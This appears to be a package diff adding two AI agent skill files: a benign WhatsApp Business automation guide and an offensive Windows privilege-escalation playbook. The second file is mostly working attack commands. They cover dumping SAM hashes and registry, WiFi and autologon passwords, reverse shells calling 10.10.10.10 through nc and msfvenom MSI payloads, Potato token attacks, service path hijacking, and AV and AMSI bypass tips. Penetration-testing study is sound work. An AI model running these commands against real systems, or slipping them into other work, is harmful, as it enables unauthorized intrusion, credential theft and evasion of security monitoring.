skill-library-mcp 1.0.0

package/skills/whatsapp-automation/SKILL.md

@@ -0,0 +1,214 @@
+---
+name: whatsapp-automation
+description: "Automate WhatsApp Business tasks via Rube MCP (Composio): send messages, manage templates, upload media, and handle contacts. Always search tools first for current schemas."
+requires:
+  mcp: [rube]
+---
+
+# WhatsApp Business Automation via Rube MCP
+
+Automate WhatsApp Business operations through Composio's WhatsApp toolkit via Rube MCP.
+
+## Prerequisites
+
+- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
+- Active WhatsApp connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `whatsapp`
+- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
+- WhatsApp Business API account required (not regular WhatsApp)
+
+## Setup
+
+**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
+
+
+1. Verify Rube MCP is available by confirming `RUBE_SEARCH_TOOLS` responds
+2. Call `RUBE_MANAGE_CONNECTIONS` with toolkit `whatsapp`
+3. If connection is not ACTIVE, follow the returned auth link to complete WhatsApp Business setup
+4. Confirm connection status shows ACTIVE before running any workflows
+
+## Core Workflows
+
+### 1. Send a Text Message
+
+**When to use**: User wants to send a text message to a WhatsApp contact
+
+**Tool sequence**:
+1. `WHATSAPP_GET_PHONE_NUMBERS` - List available business phone numbers [Prerequisite]
+2. `WHATSAPP_SEND_MESSAGE` - Send a text message [Required]
+
+**Key parameters**:
+- `to`: Recipient phone number in international format (e.g., '+14155551234')
+- `body`: Message text content
+- `phone_number_id`: Business phone number ID to send from
+
+**Pitfalls**:
+- Phone numbers must be in international E.164 format with country code
+- Messages outside the 24-hour window require approved templates
+- The 24-hour window starts when the customer last messaged you
+- Business-initiated conversations require template messages first
+
+### 2. Send Template Messages
+
+**When to use**: User wants to send pre-approved template messages for outbound communication
+
+**Tool sequence**:
+1. `WHATSAPP_GET_MESSAGE_TEMPLATES` - List available templates [Prerequisite]
+2. `WHATSAPP_GET_TEMPLATE_STATUS` - Check template approval status [Optional]
+3. `WHATSAPP_SEND_TEMPLATE_MESSAGE` - Send the template message [Required]
+
+**Key parameters**:
+- `template_name`: Name of the approved template
+- `language_code`: Template language (e.g., 'en_US')
+- `to`: Recipient phone number
+- `components`: Template variable values and parameters
+
+**Pitfalls**:
+- Templates must be approved by Meta before use
+- Template variables must match the expected count and format
+- Sending unapproved or rejected templates returns errors
+- Language code must match an approved translation of the template
+
+### 3. Send Media Messages
+
+**When to use**: User wants to send images, documents, or other media
+
+**Tool sequence**:
+1. `WHATSAPP_UPLOAD_MEDIA` - Upload media to WhatsApp servers [Required]
+2. `WHATSAPP_SEND_MEDIA_BY_ID` - Send media using the uploaded media ID [Required]
+   OR
+3. `WHATSAPP_SEND_MEDIA` - Send media using a public URL [Alternative]
+
+**Key parameters**:
+- `media_url`: Public URL of the media (for SEND_MEDIA)
+- `media_id`: ID from upload response (for SEND_MEDIA_BY_ID)
+- `type`: Media type ('image', 'document', 'audio', 'video', 'sticker')
+- `caption`: Optional caption for the media
+
+**Pitfalls**:
+- Uploaded media IDs are temporary and expire after a period
+- Media size limits vary by type (images: 5MB, videos: 16MB, documents: 100MB)
+- Supported formats: images (JPEG, PNG), videos (MP4, 3GPP), documents (PDF, etc.)
+- SEND_MEDIA requires a publicly accessible HTTPS URL
+
+### 4. Reply to Messages
+
+**When to use**: User wants to reply to an incoming WhatsApp message
+
+**Tool sequence**:
+1. `WHATSAPP_SEND_REPLY` - Send a reply to a specific message [Required]
+
+**Key parameters**:
+- `message_id`: ID of the message being replied to
+- `to`: Recipient phone number
+- `body`: Reply text content
+
+**Pitfalls**:
+- message_id must be from a message received within the 24-hour window
+- Replies appear as quoted messages in the conversation
+- The original message must still exist (not deleted) for the quote to display
+
+### 5. Manage Business Profile and Templates
+
+**When to use**: User wants to view or manage their WhatsApp Business profile
+
+**Tool sequence**:
+1. `WHATSAPP_GET_BUSINESS_PROFILE` - Get business profile details [Optional]
+2. `WHATSAPP_GET_PHONE_NUMBERS` - List registered phone numbers [Optional]
+3. `WHATSAPP_GET_PHONE_NUMBER` - Get details for a specific number [Optional]
+4. `WHATSAPP_CREATE_MESSAGE_TEMPLATE` - Create a new template [Optional]
+5. `WHATSAPP_GET_MESSAGE_TEMPLATES` - List all templates [Optional]
+
+**Key parameters**:
+- `phone_number_id`: Business phone number ID
+- `template_name`: Name for the new template
+- `category`: Template category (MARKETING, UTILITY, AUTHENTICATION)
+- `language`: Template language code
+
+**Pitfalls**:
+- New templates require Meta review before they can be used
+- Template names must be lowercase with underscores (no spaces)
+- Category affects pricing and approval criteria
+- Templates have specific formatting requirements for headers, body, and buttons
+
+### 6. Share Contacts
+
+**When to use**: User wants to send contact information via WhatsApp
+
+**Tool sequence**:
+1. `WHATSAPP_SEND_CONTACTS` - Send contact cards [Required]
+
+**Key parameters**:
+- `to`: Recipient phone number
+- `contacts`: Array of contact objects with name, phone, email details
+
+**Pitfalls**:
+- Contact objects must follow the WhatsApp Business API contact schema
+- At least a name field is required for each contact
+- Phone numbers in contacts should include country codes
+
+## Common Patterns
+
+### 24-Hour Messaging Window
+
+- Customers must message you first to open a conversation window
+- Within 24 hours of their last message, you can send free-form messages
+- After 24 hours, only approved template messages can be sent
+- Template messages can re-open the conversation window
+
+### Phone Number Resolution
+
+```
+1. Call WHATSAPP_GET_PHONE_NUMBERS
+2. Extract phone_number_id for your business number
+3. Use phone_number_id in all send operations
+```
+
+### Media Upload Flow
+
+```
+1. Call WHATSAPP_UPLOAD_MEDIA with the file
+2. Extract media_id from response
+3. Call WHATSAPP_SEND_MEDIA_BY_ID with media_id
+4. OR use WHATSAPP_SEND_MEDIA with a public URL directly
+```
+
+## Known Pitfalls
+
+**Phone Number Format**:
+- Always use E.164 format: +[country code][number] (e.g., '+14155551234')
+- Do not include dashes, spaces, or parentheses
+- Country code is required; local numbers without it will fail
+
+**Messaging Restrictions**:
+- Business-initiated messages require templates outside the 24-hour window
+- Template messages cost money per conversation
+- Rate limits apply per phone number and per account
+
+**Media Handling**:
+- Uploaded media expires; use promptly after upload
+- Media URLs must be publicly accessible HTTPS
+- Stickers have specific requirements (WebP format, 512x512 pixels)
+
+**Template Management**:
+- Template review can take up to 24 hours
+- Rejected templates need to be fixed and resubmitted
+- Template variables use double curly braces: {{1}}, {{2}}, etc.
+
+## Quick Reference
+
+| Task | Tool Slug | Key Params |
+|------|-----------|------------|
+| Send message | WHATSAPP_SEND_MESSAGE | to, body |
+| Send template | WHATSAPP_SEND_TEMPLATE_MESSAGE | template_name, to, language_code |
+| Upload media | WHATSAPP_UPLOAD_MEDIA | (file params) |
+| Send media by ID | WHATSAPP_SEND_MEDIA_BY_ID | media_id, to, type |
+| Send media by URL | WHATSAPP_SEND_MEDIA | media_url, to, type |
+| Reply to message | WHATSAPP_SEND_REPLY | message_id, to, body |
+| Send contacts | WHATSAPP_SEND_CONTACTS | to, contacts |
+| Get media | WHATSAPP_GET_MEDIA | media_id |
+| List phone numbers | WHATSAPP_GET_PHONE_NUMBERS | (none) |
+| Get phone number | WHATSAPP_GET_PHONE_NUMBER | phone_number_id |
+| Get business profile | WHATSAPP_GET_BUSINESS_PROFILE | phone_number_id |
+| Create template | WHATSAPP_CREATE_MESSAGE_TEMPLATE | template_name, category, language |
+| List templates | WHATSAPP_GET_MESSAGE_TEMPLATES | (none) |
+| Check template status | WHATSAPP_GET_TEMPLATE_STATUS | template_id |

package/skills/windows-privilege-escalation/SKILL.md

@@ -0,0 +1,496 @@
+---
+name: Windows Privilege Escalation
+description: This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Windows Privilege Escalation
+
+## Purpose
+
+Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.
+
+## Inputs / Prerequisites
+
+- **Initial Access**: Shell or RDP access as standard user on Windows system
+- **Enumeration Tools**: WinPEAS, PowerUp, Seatbelt, or manual commands
+- **Exploit Binaries**: Pre-compiled exploits or ability to transfer tools
+- **Knowledge**: Understanding of Windows security model and privileges
+- **Authorization**: Written permission for penetration testing activities
+
+## Outputs / Deliverables
+
+- **Privilege Escalation Path**: Identified vector to higher privileges
+- **Credential Dump**: Harvested passwords, hashes, or tokens
+- **Elevated Shell**: Command execution as Administrator or SYSTEM
+- **Vulnerability Report**: Documentation of misconfigurations and exploits
+- **Remediation Recommendations**: Fixes for identified weaknesses
+
+## Core Workflow
+
+### 1. System Enumeration
+
+#### Basic System Information
+```powershell
+# OS version and patches
+systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
+wmic qfe
+
+# Architecture
+wmic os get osarchitecture
+echo %PROCESSOR_ARCHITECTURE%
+
+# Environment variables
+set
+Get-ChildItem Env: | ft Key,Value
+
+# List drives
+wmic logicaldisk get caption,description,providername
+```
+
+#### User Enumeration
+```powershell
+# Current user
+whoami
+echo %USERNAME%
+
+# User privileges
+whoami /priv
+whoami /groups
+whoami /all
+
+# All users
+net user
+Get-LocalUser | ft Name,Enabled,LastLogon
+
+# User details
+net user administrator
+net user %USERNAME%
+
+# Local groups
+net localgroup
+net localgroup administrators
+Get-LocalGroupMember Administrators | ft Name,PrincipalSource
+```
+
+#### Network Enumeration
+```powershell
+# Network interfaces
+ipconfig /all
+Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
+
+# Routing table
+route print
+Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric
+
+# ARP table
+arp -A
+
+# Active connections
+netstat -ano
+
+# Network shares
+net share
+
+# Domain Controllers
+nltest /DCLIST:DomainName
+```
+
+#### Antivirus Enumeration
+```powershell
+# Check AV products
+WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
+```
+
+### 2. Credential Harvesting
+
+#### SAM and SYSTEM Files
+```powershell
+# SAM file locations
+%SYSTEMROOT%\repair\SAM
+%SYSTEMROOT%\System32\config\RegBack\SAM
+%SYSTEMROOT%\System32\config\SAM
+
+# SYSTEM file locations
+%SYSTEMROOT%\repair\system
+%SYSTEMROOT%\System32\config\SYSTEM
+%SYSTEMROOT%\System32\config\RegBack\system
+
+# Extract hashes (from Linux after obtaining files)
+pwdump SYSTEM SAM > sam.txt
+samdump2 SYSTEM SAM -o sam.txt
+
+# Crack with John
+john --format=NT sam.txt
+```
+
+#### HiveNightmare (CVE-2021-36934)
+```powershell
+# Check vulnerability
+icacls C:\Windows\System32\config\SAM
+# Vulnerable if: BUILTIN\Users:(I)(RX)
+
+# Exploit with mimikatz
+mimikatz> token::whoami /full
+mimikatz> misc::shadowcopies
+mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
+```
+
+#### Search for Passwords
+```powershell
+# Search file contents
+findstr /SI /M "password" *.xml *.ini *.txt
+findstr /si password *.xml *.ini *.txt *.config
+
+# Search registry
+reg query HKLM /f password /t REG_SZ /s
+reg query HKCU /f password /t REG_SZ /s
+
+# Windows Autologin credentials
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
+
+# PuTTY sessions
+reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
+
+# VNC passwords
+reg query "HKCU\Software\ORL\WinVNC3\Password"
+reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
+
+# Search for specific files
+dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
+where /R C:\ *.ini
+```
+
+#### Unattend.xml Credentials
+```powershell
+# Common locations
+C:\unattend.xml
+C:\Windows\Panther\Unattend.xml
+C:\Windows\Panther\Unattend\Unattend.xml
+C:\Windows\system32\sysprep.inf
+C:\Windows\system32\sysprep\sysprep.xml
+
+# Search for files
+dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul
+
+# Decode base64 password (Linux)
+echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
+```
+
+#### WiFi Passwords
+```powershell
+# List profiles
+netsh wlan show profile
+
+# Get cleartext password
+netsh wlan show profile <SSID> key=clear
+
+# Extract all WiFi passwords
+for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on
+```
+
+#### PowerShell History
+```powershell
+# View PowerShell history
+type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
+cat (Get-PSReadlineOption).HistorySavePath
+cat (Get-PSReadlineOption).HistorySavePath | sls passw
+```
+
+### 3. Service Exploitation
+
+#### Incorrect Service Permissions
+```powershell
+# Find misconfigured services
+accesschk.exe -uwcqv "Authenticated Users" * /accepteula
+accesschk.exe -uwcqv "Everyone" * /accepteula
+accesschk.exe -ucqv <service_name>
+
+# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG
+
+# Exploit vulnerable service
+sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
+sc stop <service>
+sc start <service>
+```
+
+#### Unquoted Service Paths
+```powershell
+# Find unquoted paths
+wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
+wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
+
+# Exploit: Place malicious exe in path
+# For path: C:\Program Files\Some App\service.exe
+# Try: C:\Program.exe or C:\Program Files\Some.exe
+```
+
+#### AlwaysInstallElevated
+```powershell
+# Check if enabled
+reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+
+# Both must return 0x1 for vulnerability
+
+# Create malicious MSI
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi
+
+# Install (runs as SYSTEM)
+msiexec /quiet /qn /i C:\evil.msi
+```
+
+### 4. Token Impersonation
+
+#### Check Impersonation Privileges
+```powershell
+# Look for these privileges
+whoami /priv
+
+# Exploitable privileges:
+# SeImpersonatePrivilege
+# SeAssignPrimaryTokenPrivilege
+# SeTcbPrivilege
+# SeBackupPrivilege
+# SeRestorePrivilege
+# SeCreateTokenPrivilege
+# SeLoadDriverPrivilege
+# SeTakeOwnershipPrivilege
+# SeDebugPrivilege
+```
+
+#### Potato Attacks
+```powershell
+# JuicyPotato (Windows Server 2019 and below)
+JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *
+
+# PrintSpoofer (Windows 10 and Server 2019)
+PrintSpoofer.exe -i -c cmd
+
+# RoguePotato
+RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999
+
+# GodPotato
+GodPotato.exe -cmd "cmd /c whoami"
+```
+
+### 5. Kernel Exploitation
+
+#### Find Kernel Vulnerabilities
+```powershell
+# Use Windows Exploit Suggester
+systeminfo > systeminfo.txt
+python wes.py systeminfo.txt
+
+# Or use Watson (on target)
+Watson.exe
+
+# Or use Sherlock PowerShell script
+powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1
+```
+
+#### Common Kernel Exploits
+```
+MS17-010 (EternalBlue) - Windows 7/2008/2003/XP
+MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012
+MS15-051 - Client Copy Image - 2003/2008/7
+MS14-058 - TrackPopupMenu - 2003/2008/7/8.1
+MS11-080 - afd.sys - XP/2003
+MS10-015 - KiTrap0D - 2003/XP/2000
+MS08-067 - NetAPI - 2000/XP/2003
+CVE-2021-1732 - Win32k - Windows 10/Server 2019
+CVE-2020-0796 - SMBGhost - Windows 10
+CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019
+```
+
+### 6. Additional Techniques
+
+#### DLL Hijacking
+```powershell
+# Find missing DLLs with Process Monitor
+# Filter: Result = NAME NOT FOUND, Path ends with .dll
+
+# Compile malicious DLL
+# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
+# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
+```
+
+#### Runas with Saved Credentials
+```powershell
+# List saved credentials
+cmdkey /list
+
+# Use saved credentials
+runas /savecred /user:Administrator "cmd.exe /k whoami"
+runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"
+```
+
+#### WSL Exploitation
+```powershell
+# Check for WSL
+wsl whoami
+
+# Set root as default user
+wsl --default-user root
+# Or: ubuntu.exe config --default-user root
+
+# Spawn shell as root
+wsl whoami
+wsl python -c 'import os; os.system("/bin/bash")'
+```
+
+## Quick Reference
+
+### Enumeration Tools
+
+| Tool | Command | Purpose |
+|------|---------|---------|
+| WinPEAS | `winPEAS.exe` | Comprehensive enumeration |
+| PowerUp | `Invoke-AllChecks` | Service/path vulnerabilities |
+| Seatbelt | `Seatbelt.exe -group=all` | Security audit checks |
+| Watson | `Watson.exe` | Missing patches |
+| JAWS | `.\jaws-enum.ps1` | Legacy Windows enum |
+| PrivescCheck | `Invoke-PrivescCheck` | Privilege escalation checks |
+
+### Default Writable Folders
+
+```
+C:\Windows\Temp
+C:\Windows\Tasks
+C:\Users\Public
+C:\Windows\tracing
+C:\Windows\System32\spool\drivers\color
+C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
+```
+
+### Common Privilege Escalation Vectors
+
+| Vector | Check Command |
+|--------|---------------|
+| Unquoted paths | `wmic service get pathname \| findstr /i /v """` |
+| Weak service perms | `accesschk.exe -uwcqv "Everyone" *` |
+| AlwaysInstallElevated | `reg query HKCU\...\Installer /v AlwaysInstallElevated` |
+| Stored credentials | `cmdkey /list` |
+| Token privileges | `whoami /priv` |
+| Scheduled tasks | `schtasks /query /fo LIST /v` |
+
+### Impersonation Privilege Exploits
+
+| Privilege | Tool | Usage |
+|-----------|------|-------|
+| SeImpersonatePrivilege | JuicyPotato | CLSID abuse |
+| SeImpersonatePrivilege | PrintSpoofer | Spooler service |
+| SeImpersonatePrivilege | RoguePotato | OXID resolver |
+| SeBackupPrivilege | robocopy /b | Read protected files |
+| SeRestorePrivilege | Enable-SeRestorePrivilege | Write protected files |
+| SeTakeOwnershipPrivilege | takeown.exe | Take file ownership |
+
+## Constraints and Limitations
+
+### Operational Boundaries
+- Kernel exploits may cause system instability
+- Some exploits require specific Windows versions
+- AV/EDR may detect and block common tools
+- Token impersonation requires service account context
+- Some techniques require GUI access
+
+### Detection Considerations
+- Credential dumping triggers security alerts
+- Service modification logged in Event Logs
+- PowerShell execution may be monitored
+- Known exploit signatures detected by AV
+
+### Legal Requirements
+- Only test systems with written authorization
+- Document all escalation attempts
+- Avoid disrupting production systems
+- Report all findings through proper channels
+
+## Examples
+
+### Example 1: Service Binary Path Exploitation
+```powershell
+# Find vulnerable service
+accesschk.exe -uwcqv "Authenticated Users" * /accepteula
+# Result: RW MyService SERVICE_ALL_ACCESS
+
+# Check current config
+sc qc MyService
+
+# Stop service and change binary path
+sc stop MyService
+sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
+sc start MyService
+
+# Catch shell as SYSTEM
+```
+
+### Example 2: AlwaysInstallElevated Exploitation
+```powershell
+# Verify vulnerability
+reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+# Both return: 0x1
+
+# Generate payload (attacker machine)
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
+
+# Transfer and execute
+msiexec /quiet /qn /i C:\Users\Public\shell.msi
+
+# Catch SYSTEM shell
+```
+
+### Example 3: JuicyPotato Token Impersonation
+```powershell
+# Verify SeImpersonatePrivilege
+whoami /priv
+# SeImpersonatePrivilege Enabled
+
+# Run JuicyPotato
+JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
+
+# Catch SYSTEM shell
+```
+
+### Example 4: Unquoted Service Path
+```powershell
+# Find unquoted path
+wmic service get name,pathname | findstr /i /v """
+# Result: C:\Program Files\Vuln App\service.exe
+
+# Check write permissions
+icacls "C:\Program Files\Vuln App"
+# Result: Users:(W)
+
+# Place malicious binary
+copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"
+
+# Restart service
+sc stop "Vuln App"
+sc start "Vuln App"
+```
+
+### Example 5: Credential Harvesting from Registry
+```powershell
+# Check for auto-logon credentials
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
+# DefaultUserName: Administrator
+# DefaultPassword: P@ssw0rd123
+
+# Use credentials
+runas /user:Administrator cmd.exe
+# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd
+```
+
+## Troubleshooting
+
+| Issue | Cause | Solution |
+|-------|-------|----------|
+| Exploit fails (AV detected) | AV blocking known exploits | Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries |
+| Service won't start | Binary path syntax | Ensure space after `=` in binpath: `binpath= "C:\path\binary.exe"` |
+| Token impersonation fails | Wrong privilege/version | Check `whoami /priv`; verify Windows version compatibility |
+| Can't find kernel exploit | System patched | Run Windows Exploit Suggester: `python wes.py systeminfo.txt` |
+| PowerShell blocked | Execution policy/AMSI | Use `powershell -ep bypass -c "cmd"` or `-enc <base64>` |